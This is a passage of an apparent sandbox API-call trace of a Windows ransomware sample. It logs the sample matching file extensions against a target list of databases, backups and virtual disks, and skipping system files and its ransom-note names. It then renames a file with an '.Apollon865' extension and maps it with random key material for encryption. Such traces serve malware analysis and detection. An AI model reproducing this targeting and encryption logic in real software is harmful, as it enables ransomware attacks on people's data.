	[0078.553] lstrcmpiW (lpString1="hxn", lpString2="cma") returned 1
	[0078.553] lstrlenW (lpString="cpd") returned 3
	[0078.553] lstrcmpiW (lpString1="hxn", lpString2="cpd") returned 1
	[0078.553] lstrlenW (lpString="dacpac") returned 6
	[0078.553] lstrcmpiW (lpString1="33.hxn", lpString2="dacpac") returned -1
	[0078.553] lstrlenW (lpString="dad") returned 3
	[0078.553] lstrcmpiW (lpString1="hxn", lpString2="dad") returned 1
	[0078.553] lstrlenW (lpString="dadiagrams") returned 10
	[0078.553] lstrcmpiW (lpString1="4.1033.hxn", lpString2="dadiagrams") returned -1
	[0078.553] lstrlenW (lpString="daschema") returned 8
	[0078.553] lstrcmpiW (lpString1="1033.hxn", lpString2="daschema") returned -1
	[0078.553] lstrlenW (lpString="db-journal") returned 10
	[0078.553] lstrcmpiW (lpString1="4.1033.hxn", lpString2="db-journal") returned -1
	[0078.553] lstrlenW (lpString="db-shm") returned 6
	[0078.553] lstrcmpiW (lpString1="33.hxn", lpString2="db-shm") returned -1
	[0078.553] lstrlenW (lpString="db-wal") returned 6
	[0078.553] lstrcmpiW (lpString1="33.hxn", lpString2="db-wal") returned -1
	[0078.553] lstrlenW (lpString="dbc") returned 3
	[0078.553] lstrcmpiW (lpString1="hxn", lpString2="dbc") returned 1
	[0078.553] lstrlenW (lpString="dbs") returned 3
	[0078.553] lstrcmpiW (lpString1="hxn", lpString2="dbs") returned 1
	[0078.553] lstrlenW (lpString="dbt") returned 3
	[0078.553] lstrcmpiW (lpString1="hxn", lpString2="dbt") returned 1
	[0078.553] lstrlenW (lpString="dbv") returned 3
	[0078.553] lstrcmpiW (lpString1="hxn", lpString2="dbv") returned 1
	[0078.553] lstrlenW (lpString="dbx") returned 3
	[0078.553] lstrcmpiW (lpString1="hxn", lpString2="dbx") returned 1
	[0078.553] lstrlenW (lpString="dcb") returned 3
	[0078.553] lstrcmpiW (lpString1="hxn", lpString2="dcb") returned 1
	[0078.553] lstrlenW (lpString="dct") returned 3
	[0078.553] lstrcmpiW (lpString1="hxn", lpString2="dct") returned 1
	[0078.553] lstrlenW (lpString="dcx") returned 3
	[0078.553] lstrcmpiW (lpString1="hxn", lpString2="dcx") returned 1
	[0078.553] lstrlenW (lpString="ddl") returned 3
	[0078.553] lstrcmpiW (lpString1="hxn", lpString2="ddl") returned 1
	[0078.553] lstrlenW (lpString="dlis") returned 4
	[0078.553] lstrcmpiW (lpString1=".hxn", lpString2="dlis") returned -1
	[0078.554] lstrlenW (lpString="dp1") returned 3
	[0078.554] lstrcmpiW (lpString1="hxn", lpString2="dp1") returned 1
	[0078.554] lstrlenW (lpString="dqy") returned 3
	[0078.554] lstrcmpiW (lpString1="hxn", lpString2="dqy") returned 1
	[0078.554] lstrlenW (lpString="dsk") returned 3
	[0078.554] lstrcmpiW (lpString1="hxn", lpString2="dsk") returned 1
	[0078.554] lstrlenW (lpString="dsn") returned 3
	[0078.554] lstrcmpiW (lpString1="hxn", lpString2="dsn") returned 1
	[0078.554] lstrlenW (lpString="dtsx") returned 4
	[0078.554] lstrcmpiW (lpString1=".hxn", lpString2="dtsx") returned -1
	[0078.554] lstrlenW (lpString="dxl") returned 3
	[0078.554] lstrcmpiW (lpString1="hxn", lpString2="dxl") returned 1
	[0078.554] lstrlenW (lpString="eco") returned 3
	[0078.554] lstrcmpiW (lpString1="hxn", lpString2="eco") returned 1
	[0078.554] lstrlenW (lpString="ecx") returned 3
	[0078.554] lstrcmpiW (lpString1="hxn", lpString2="ecx") returned 1
	[0078.554] lstrlenW (lpString="edb") returned 3
	[0078.554] lstrcmpiW (lpString1="hxn", lpString2="edb") returned 1
	[0078.554] lstrlenW (lpString="epim") returned 4
	[0078.554] lstrcmpiW (lpString1=".hxn", lpString2="epim") returned -1
	[0078.554] lstrlenW (lpString="fcd") returned 3
	[0078.554] lstrcmpiW (lpString1="hxn", lpString2="fcd") returned 1
	[0078.554] lstrlenW (lpString="fdb") returned 3
	[0078.554] lstrcmpiW (lpString1="hxn", lpString2="fdb") returned 1
	[0078.554] lstrlenW (lpString="fic") returned 3
	[0078.554] lstrcmpiW (lpString1="hxn", lpString2="fic") returned 1
	[0078.554] lstrlenW (lpString="flexolibrary") returned 12
	[0078.554] lstrcmpiW (lpString1=".14.1033.hxn", lpString2="flexolibrary") returned -1
	[0078.554] lstrlenW (lpString="fm5") returned 3
	[0078.554] lstrcmpiW (lpString1="hxn", lpString2="fm5") returned 1
	[0078.554] lstrlenW (lpString="fmp") returned 3
	[0078.554] lstrcmpiW (lpString1="hxn", lpString2="fmp") returned 1
	[0078.554] lstrlenW (lpString="fmp12") returned 5
	[0078.554] lstrcmpiW (lpString1="3.hxn", lpString2="fmp12") returned -1
	[0078.554] lstrlenW (lpString="fmpsl") returned 5
	[0078.554] lstrcmpiW (lpString1="3.hxn", lpString2="fmpsl") returned -1
	[0078.554] lstrlenW (lpString="fol") returned 3
	[0078.555] lstrcmpiW (lpString1="hxn", lpString2="fol") returned 1
	[0078.555] lstrlenW (lpString="fp3") returned 3
	[0078.555] lstrcmpiW (lpString1="hxn", lpString2="fp3") returned 1
	[0078.555] lstrlenW (lpString="fp4") returned 3
	[0078.555] lstrcmpiW (lpString1="hxn", lpString2="fp4") returned 1
	[0078.555] lstrlenW (lpString="fp5") returned 3
	[0078.555] lstrcmpiW (lpString1="hxn", lpString2="fp5") returned 1
	[0078.555] lstrlenW (lpString="fp7") returned 3
	[0078.555] lstrcmpiW (lpString1="hxn", lpString2="fp7") returned 1
	[0078.555] lstrlenW (lpString="fpt") returned 3
	[0078.555] lstrcmpiW (lpString1="hxn", lpString2="fpt") returned 1
	[0078.555] lstrlenW (lpString="frm") returned 3
	[0078.555] lstrcmpiW (lpString1="hxn", lpString2="frm") returned 1
	[0078.555] lstrlenW (lpString="gdb") returned 3
	[0078.555] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.555] lstrlenW (lpString="gdb") returned 3
	[0078.555] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.555] lstrlenW (lpString="grdb") returned 4
	[0078.555] lstrcmpiW (lpString1=".hxn", lpString2="grdb") returned -1
	[0078.555] lstrlenW (lpString="gwi") returned 3
	[0078.555] lstrcmpiW (lpString1="hxn", lpString2="gwi") returned 1
	[0078.555] lstrlenW (lpString="hdb") returned 3
	[0078.555] lstrcmpiW (lpString1="hxn", lpString2="hdb") returned 1
	[0078.555] lstrlenW (lpString="his") returned 3
	[0078.555] lstrcmpiW (lpString1="hxn", lpString2="his") returned 1
	[0078.555] lstrlenW (lpString="ib") returned 2
	[0078.555] lstrcmpiW (lpString1="xn", lpString2="ib") returned 1
	[0078.555] lstrlenW (lpString="idb") returned 3
	[0078.555] lstrcmpiW (lpString1="hxn", lpString2="idb") returned -1
	[0078.555] lstrlenW (lpString="ihx") returned 3
	[0078.555] lstrcmpiW (lpString1="hxn", lpString2="ihx") returned -1
	[0078.555] lstrlenW (lpString="itdb") returned 4
	[0078.555] lstrcmpiW (lpString1=".hxn", lpString2="itdb") returned -1
	[0078.555] lstrlenW (lpString="itw") returned 3
	[0078.555] lstrcmpiW (lpString1="hxn", lpString2="itw") returned -1
	[0078.555] lstrlenW (lpString="jet") returned 3
	[0078.555] lstrcmpiW (lpString1="hxn", lpString2="jet") returned -1
	[0078.555] lstrlenW (lpString="jtx") returned 3
	[0078.556] lstrcmpiW (lpString1="hxn", lpString2="jtx") returned -1
	[0078.556] lstrlenW (lpString="kdb") returned 3
	[0078.556] lstrcmpiW (lpString1="hxn", lpString2="kdb") returned -1
	[0078.556] lstrlenW (lpString="kexi") returned 4
	[0078.556] lstrcmpiW (lpString1=".hxn", lpString2="kexi") returned -1
	[0078.556] lstrlenW (lpString="kexic") returned 5
	[0078.556] lstrcmpiW (lpString1="3.hxn", lpString2="kexic") returned -1
	[0078.556] lstrlenW (lpString="kexis") returned 5
	[0078.556] lstrcmpiW (lpString1="3.hxn", lpString2="kexis") returned -1
	[0078.556] lstrlenW (lpString="lgc") returned 3
	[0078.556] lstrcmpiW (lpString1="hxn", lpString2="lgc") returned -1
	[0078.556] lstrlenW (lpString="lwx") returned 3
	[0078.556] lstrcmpiW (lpString1="hxn", lpString2="lwx") returned -1
	[0078.556] lstrlenW (lpString="maf") returned 3
	[0078.556] lstrcmpiW (lpString1="hxn", lpString2="maf") returned -1
	[0078.556] lstrlenW (lpString="maq") returned 3
	[0078.556] lstrcmpiW (lpString1="hxn", lpString2="maq") returned -1
	[0078.556] lstrlenW (lpString="mar") returned 3
	[0078.556] lstrcmpiW (lpString1="hxn", lpString2="mar") returned -1
	[0078.556] lstrlenW (lpString="marshal") returned 7
	[0078.556] lstrcmpiW (lpString1="033.hxn", lpString2="marshal") returned -1
	[0078.556] lstrlenW (lpString="mas") returned 3
	[0078.556] lstrcmpiW (lpString1="hxn", lpString2="mas") returned -1
	[0078.556] lstrlenW (lpString="mav") returned 3
	[0078.556] lstrcmpiW (lpString1="hxn", lpString2="mav") returned -1
	[0078.556] lstrlenW (lpString="maw") returned 3
	[0078.556] lstrcmpiW (lpString1="hxn", lpString2="maw") returned -1
	[0078.556] lstrlenW (lpString="mdbhtml") returned 7
	[0078.556] lstrcmpiW (lpString1="033.hxn", lpString2="mdbhtml") returned -1
	[0078.556] lstrlenW (lpString="mdn") returned 3
	[0078.556] lstrcmpiW (lpString1="hxn", lpString2="mdn") returned -1
	[0078.556] lstrlenW (lpString="mdt") returned 3
	[0078.556] lstrcmpiW (lpString1="hxn", lpString2="mdt") returned -1
	[0078.556] lstrlenW (lpString="mfd") returned 3
	[0078.556] lstrcmpiW (lpString1="hxn", lpString2="mfd") returned -1
	[0078.556] lstrlenW (lpString="mpd") returned 3
	[0078.556] lstrcmpiW (lpString1="hxn", lpString2="mpd") returned -1
	[0078.556] lstrlenW (lpString="mrg") returned 3
	[0078.557] lstrcmpiW (lpString1="hxn", lpString2="mrg") returned -1
	[0078.557] lstrlenW (lpString="mud") returned 3
	[0078.557] lstrcmpiW (lpString1="hxn", lpString2="mud") returned -1
	[0078.557] lstrlenW (lpString="mwb") returned 3
	[0078.557] lstrcmpiW (lpString1="hxn", lpString2="mwb") returned -1
	[0078.557] lstrlenW (lpString="myd") returned 3
	[0078.557] lstrcmpiW (lpString1="hxn", lpString2="myd") returned -1
	[0078.557] lstrlenW (lpString="ndf") returned 3
	[0078.557] lstrcmpiW (lpString1="hxn", lpString2="ndf") returned -1
	[0078.557] lstrlenW (lpString="nnt") returned 3
	[0078.557] lstrcmpiW (lpString1="hxn", lpString2="nnt") returned -1
	[0078.557] lstrlenW (lpString="nrmlib") returned 6
	[0078.557] lstrcmpiW (lpString1="33.hxn", lpString2="nrmlib") returned -1
	[0078.557] lstrlenW (lpString="ns2") returned 3
	[0078.557] lstrcmpiW (lpString1="hxn", lpString2="ns2") returned -1
	[0078.557] lstrlenW (lpString="ns3") returned 3
	[0078.557] lstrcmpiW (lpString1="hxn", lpString2="ns3") returned -1
	[0078.557] lstrlenW (lpString="ns4") returned 3
	[0078.557] lstrcmpiW (lpString1="hxn", lpString2="ns4") returned -1
	[0078.557] lstrlenW (lpString="nsf") returned 3
	[0078.557] lstrcmpiW (lpString1="hxn", lpString2="nsf") returned -1
	[0078.557] lstrlenW (lpString="nv") returned 2
	[0078.557] lstrcmpiW (lpString1="xn", lpString2="nv") returned 1
	[0078.557] lstrlenW (lpString="nv2") returned 3
	[0078.557] lstrcmpiW (lpString1="hxn", lpString2="nv2") returned -1
	[0078.557] lstrlenW (lpString="nwdb") returned 4
	[0078.557] lstrcmpiW (lpString1=".hxn", lpString2="nwdb") returned -1
	[0078.557] lstrlenW (lpString="nyf") returned 3
	[0078.557] lstrcmpiW (lpString1="hxn", lpString2="nyf") returned -1
	[0078.557] lstrlenW (lpString="odb") returned 3
	[0078.557] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.557] lstrlenW (lpString="odb") returned 3
	[0078.557] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.557] lstrlenW (lpString="oqy") returned 3
	[0078.557] lstrcmpiW (lpString1="hxn", lpString2="oqy") returned -1
	[0078.557] lstrlenW (lpString="ora") returned 3
	[0078.558] lstrcmpiW (lpString1="hxn", lpString2="ora") returned -1
	[0078.558] lstrlenW (lpString="orx") returned 3
	[0078.558] lstrcmpiW (lpString1="hxn", lpString2="orx") returned -1
	[0078.558] lstrlenW (lpString="owc") returned 3
	[0078.558] lstrcmpiW (lpString1="hxn", lpString2="owc") returned -1
	[0078.558] lstrlenW (lpString="p96") returned 3
	[0078.558] lstrcmpiW (lpString1="hxn", lpString2="p96") returned -1
	[0078.558] lstrlenW (lpString="p97") returned 3
	[0078.558] lstrcmpiW (lpString1="hxn", lpString2="p97") returned -1
	[0078.558] lstrlenW (lpString="pan") returned 3
	[0078.558] lstrcmpiW (lpString1="hxn", lpString2="pan") returned -1
	[0078.558] lstrlenW (lpString="pdb") returned 3
	[0078.558] lstrcmpiW (lpString1="hxn", lpString2="pdb") returned -1
	[0078.558] lstrlenW (lpString="pdm") returned 3
	[0078.558] lstrcmpiW (lpString1="hxn", lpString2="pdm") returned -1
	[0078.558] lstrlenW (lpString="pnz") returned 3
	[0078.558] lstrcmpiW (lpString1="hxn", lpString2="pnz") returned -1
	[0078.558] lstrlenW (lpString="qry") returned 3
	[0078.558] lstrcmpiW (lpString1="hxn", lpString2="qry") returned -1
	[0078.558] lstrlenW (lpString="qvd") returned 3
	[0078.558] lstrcmpiW (lpString1="hxn", lpString2="qvd") returned -1
	[0078.558] lstrlenW (lpString="rbf") returned 3
	[0078.558] lstrcmpiW (lpString1="hxn", lpString2="rbf") returned -1
	[0078.558] lstrlenW (lpString="rctd") returned 4
	[0078.558] lstrcmpiW (lpString1=".hxn", lpString2="rctd") returned -1
	[0078.558] lstrlenW (lpString="rod") returned 3
	[0078.558] lstrcmpiW (lpString1="hxn", lpString2="rod") returned -1
	[0078.558] lstrlenW (lpString="rodx") returned 4
	[0078.558] lstrcmpiW (lpString1=".hxn", lpString2="rodx") returned -1
	[0078.558] lstrlenW (lpString="rpd") returned 3
	[0078.558] lstrcmpiW (lpString1="hxn", lpString2="rpd") returned -1
	[0078.558] lstrlenW (lpString="rsd") returned 3
	[0078.558] lstrcmpiW (lpString1="hxn", lpString2="rsd") returned -1
	[0078.558] lstrlenW (lpString="sas7bdat") returned 8
	[0078.558] lstrcmpiW (lpString1="1033.hxn", lpString2="sas7bdat") returned -1
	[0078.558] lstrlenW (lpString="sbf") returned 3
	[0078.558] lstrcmpiW (lpString1="hxn", lpString2="sbf") returned -1
	[0078.558] lstrlenW (lpString="scx") returned 3
	[0078.559] lstrcmpiW (lpString1="hxn", lpString2="scx") returned -1
	[0078.559] lstrlenW (lpString="sdb") returned 3
	[0078.559] lstrcmpiW (lpString1="hxn", lpString2="sdb") returned -1
	[0078.559] lstrlenW (lpString="sdc") returned 3
	[0078.559] lstrcmpiW (lpString1="hxn", lpString2="sdc") returned -1
	[0078.559] lstrlenW (lpString="sdf") returned 3
	[0078.559] lstrcmpiW (lpString1="hxn", lpString2="sdf") returned -1
	[0078.559] lstrlenW (lpString="sis") returned 3
	[0078.559] lstrcmpiW (lpString1="hxn", lpString2="sis") returned -1
	[0078.559] lstrlenW (lpString="spq") returned 3
	[0078.559] lstrcmpiW (lpString1="hxn", lpString2="spq") returned -1
	[0078.559] lstrlenW (lpString="te") returned 2
	[0078.559] lstrcmpiW (lpString1="xn", lpString2="te") returned 1
	[0078.559] lstrlenW (lpString="teacher") returned 7
	[0078.559] lstrcmpiW (lpString1="033.hxn", lpString2="teacher") returned -1
	[0078.559] lstrlenW (lpString="tmd") returned 3
	[0078.559] lstrcmpiW (lpString1="hxn", lpString2="tmd") returned -1
	[0078.559] lstrlenW (lpString="tps") returned 3
	[0078.559] lstrcmpiW (lpString1="hxn", lpString2="tps") returned -1
	[0078.559] lstrlenW (lpString="trc") returned 3
	[0078.559] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.559] lstrlenW (lpString="trc") returned 3
	[0078.559] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.559] lstrlenW (lpString="trm") returned 3
	[0078.559] lstrcmpiW (lpString1="hxn", lpString2="trm") returned -1
	[0078.559] lstrlenW (lpString="udb") returned 3
	[0078.559] lstrcmpiW (lpString1="hxn", lpString2="udb") returned -1
	[0078.559] lstrlenW (lpString="udl") returned 3
	[0078.559] lstrcmpiW (lpString1="hxn", lpString2="udl") returned -1
	[0078.559] lstrlenW (lpString="usr") returned 3
	[0078.559] lstrcmpiW (lpString1="hxn", lpString2="usr") returned -1
	[0078.559] lstrlenW (lpString="v12") returned 3
	[0078.559] lstrcmpiW (lpString1="hxn", lpString2="v12") returned -1
	[0078.559] lstrlenW (lpString="vis") returned 3
	[0078.559] lstrcmpiW (lpString1="hxn", lpString2="vis") returned -1
	[0078.559] lstrlenW (lpString="vpd") returned 3
	[0078.559] lstrcmpiW (lpString1="hxn", lpString2="vpd") returned -1
	[0078.559] lstrlenW (lpString="vvv") returned 3
	[0078.559] lstrcmpiW (lpString1="hxn", lpString2="vvv") returned -1
	[0078.560] lstrlenW (lpString="wdb") returned 3
	[0078.560] lstrcmpiW (lpString1="hxn", lpString2="wdb") returned -1
	[0078.560] lstrlenW (lpString="wmdb") returned 4
	[0078.560] lstrcmpiW (lpString1=".hxn", lpString2="wmdb") returned -1
	[0078.560] lstrlenW (lpString="wrk") returned 3
	[0078.560] lstrcmpiW (lpString1="hxn", lpString2="wrk") returned -1
	[0078.560] lstrlenW (lpString="xdb") returned 3
	[0078.560] lstrcmpiW (lpString1="hxn", lpString2="xdb") returned -1
	[0078.560] lstrlenW (lpString="xld") returned 3
	[0078.560] lstrcmpiW (lpString1="hxn", lpString2="xld") returned -1
	[0078.560] lstrlenW (lpString="xmlff") returned 5
	[0078.560] lstrcmpiW (lpString1="3.hxn", lpString2="xmlff") returned -1
	[0078.560] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn.Apollon865") returned 69
	[0078.560] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.mspub.dev.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.mspub.dev.14.1033.hxn.apollon865"), dwFlags=0x1) returned 1
	[0078.567] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.mspub.dev.14.1033.hxn.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0078.568] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=350) returned 1
	[0078.568] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.568] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.568] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0078.568] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bfa30) returned 1
	[0078.569] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.569] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.569] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x460, lpName=0x0) returned 0xd8
	[0078.571] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x460) returned 0x100000
	[0078.572] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bfa30) returned 1
	[0078.572] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.572] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.573] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.573] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.573] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.573] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.573] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.573] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.573] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0078.573] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.573] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0078.573] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.573] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.573] CloseHandle (hObject=0xd8) returned 1
	[0078.573] CloseHandle (hObject=0x15c) returned 1
	[0078.573] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.573] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0078.573] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.574] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSTORE.14.1033.hxn", cAlternateFileName="MSMSTO~1.HXN")) returned 1
	[0078.574] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.574] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0078.574] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2=".") returned 1
	[0078.574] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2="..") returned 1
	[0078.574] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2="windows") returned -1
	[0078.574] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2="bootmgr") returned 1
	[0078.574] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2="temp") returned -1
	[0078.574] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2="pagefile.sys") returned -1
	[0078.574] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2="boot") returned 1
	[0078.574] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2="ids.txt") returned 1
	[0078.574] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2="ntuser.dat") returned -1
	[0078.574] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2="perflogs") returned -1
	[0078.574] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2="MSBuild") returned -1
	[0078.574] lstrlenW (lpString="MS.MSTORE.14.1033.hxn") returned 21
	[0078.574] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn") returned 58
	[0078.574] lstrcpyW (in: lpString1=0x119e64c, lpString2="MS.MSTORE.14.1033.hxn" | out: lpString1="MS.MSTORE.14.1033.hxn") returned="MS.MSTORE.14.1033.hxn"
	[0078.574] lstrlenW (lpString="MS.MSTORE.14.1033.hxn") returned 21
	[0078.574] lstrlenW (lpString="Apollon865") returned 10
	[0078.574] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0078.574] lstrlenW (lpString=".dll") returned 4
	[0078.574] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2=".dll") returned 1
	[0078.574] lstrlenW (lpString=".lnk") returned 4
	[0078.574] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2=".lnk") returned 1
	[0078.574] lstrlenW (lpString=".ini") returned 4
	[0078.574] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2=".ini") returned 1
	[0078.574] lstrlenW (lpString=".sys") returned 4
	[0078.574] lstrcmpiW (lpString1="MS.MSTORE.14.1033.hxn", lpString2=".sys") returned 1
	[0078.574] lstrlenW (lpString="MS.MSTORE.14.1033.hxn") returned 21
	[0078.574] lstrlenW (lpString="bak") returned 3
	[0078.574] lstrcmpiW (lpString1="hxn", lpString2="bak") returned 1
	[0078.574] lstrlenW (lpString="ba_") returned 3
	[0078.574] lstrcmpiW (lpString1="hxn", lpString2="ba_") returned 1
	[0078.575] lstrlenW (lpString="dbb") returned 3
	[0078.575] lstrcmpiW (lpString1="hxn", lpString2="dbb") returned 1
	[0078.575] lstrlenW (lpString="vmdk") returned 4
	[0078.575] lstrcmpiW (lpString1=".hxn", lpString2="vmdk") returned -1
	[0078.575] lstrlenW (lpString="rar") returned 3
	[0078.575] lstrcmpiW (lpString1="hxn", lpString2="rar") returned -1
	[0078.575] lstrlenW (lpString="zip") returned 3
	[0078.575] lstrcmpiW (lpString1="hxn", lpString2="zip") returned -1
	[0078.575] lstrlenW (lpString="tgz") returned 3
	[0078.575] lstrcmpiW (lpString1="hxn", lpString2="tgz") returned -1
	[0078.575] lstrlenW (lpString="vbox") returned 4
	[0078.575] lstrcmpiW (lpString1=".hxn", lpString2="vbox") returned -1
	[0078.575] lstrlenW (lpString="vdi") returned 3
	[0078.575] lstrcmpiW (lpString1="hxn", lpString2="vdi") returned -1
	[0078.575] lstrlenW (lpString="vhd") returned 3
	[0078.575] lstrcmpiW (lpString1="hxn", lpString2="vhd") returned -1
	[0078.575] lstrlenW (lpString="vhdx") returned 4
	[0078.575] lstrcmpiW (lpString1=".hxn", lpString2="vhdx") returned -1
	[0078.575] lstrlenW (lpString="avhd") returned 4
	[0078.575] lstrcmpiW (lpString1=".hxn", lpString2="avhd") returned -1
	[0078.575] lstrlenW (lpString="db") returned 2
	[0078.575] lstrcmpiW (lpString1="xn", lpString2="db") returned 1
	[0078.575] lstrlenW (lpString="db2") returned 3
	[0078.575] lstrcmpiW (lpString1="hxn", lpString2="db2") returned 1
	[0078.575] lstrlenW (lpString="db3") returned 3
	[0078.575] lstrcmpiW (lpString1="hxn", lpString2="db3") returned 1
	[0078.575] lstrlenW (lpString="dbf") returned 3
	[0078.575] lstrcmpiW (lpString1="hxn", lpString2="dbf") returned 1
	[0078.575] lstrlenW (lpString="mdf") returned 3
	[0078.575] lstrcmpiW (lpString1="hxn", lpString2="mdf") returned -1
	[0078.575] lstrlenW (lpString="mdb") returned 3
	[0078.575] lstrcmpiW (lpString1="hxn", lpString2="mdb") returned -1
	[0078.575] lstrlenW (lpString="sql") returned 3
	[0078.575] lstrcmpiW (lpString1="hxn", lpString2="sql") returned -1
	[0078.575] lstrlenW (lpString="sqlite") returned 6
	[0078.575] lstrcmpiW (lpString1="33.hxn", lpString2="sqlite") returned -1
	[0078.575] lstrlenW (lpString="sqlite3") returned 7
	[0078.575] lstrcmpiW (lpString1="033.hxn", lpString2="sqlite3") returned -1
	[0078.575] lstrlenW (lpString="sqlitedb") returned 8
	[0078.576] lstrcmpiW (lpString1="1033.hxn", lpString2="sqlitedb") returned -1
	[0078.576] lstrlenW (lpString="xml") returned 3
	[0078.576] lstrcmpiW (lpString1="hxn", lpString2="xml") returned -1
	[0078.576] lstrlenW (lpString="$er") returned 3
	[0078.576] lstrcmpiW (lpString1="hxn", lpString2="$er") returned 1
	[0078.576] lstrlenW (lpString="4dd") returned 3
	[0078.576] lstrcmpiW (lpString1="hxn", lpString2="4dd") returned 1
	[0078.576] lstrlenW (lpString="4dl") returned 3
	[0078.576] lstrcmpiW (lpString1="hxn", lpString2="4dl") returned 1
	[0078.576] lstrlenW (lpString="^^^") returned 3
	[0078.576] lstrcmpiW (lpString1="hxn", lpString2="^^^") returned 1
	[0078.576] lstrlenW (lpString="abs") returned 3
	[0078.576] lstrcmpiW (lpString1="hxn", lpString2="abs") returned 1
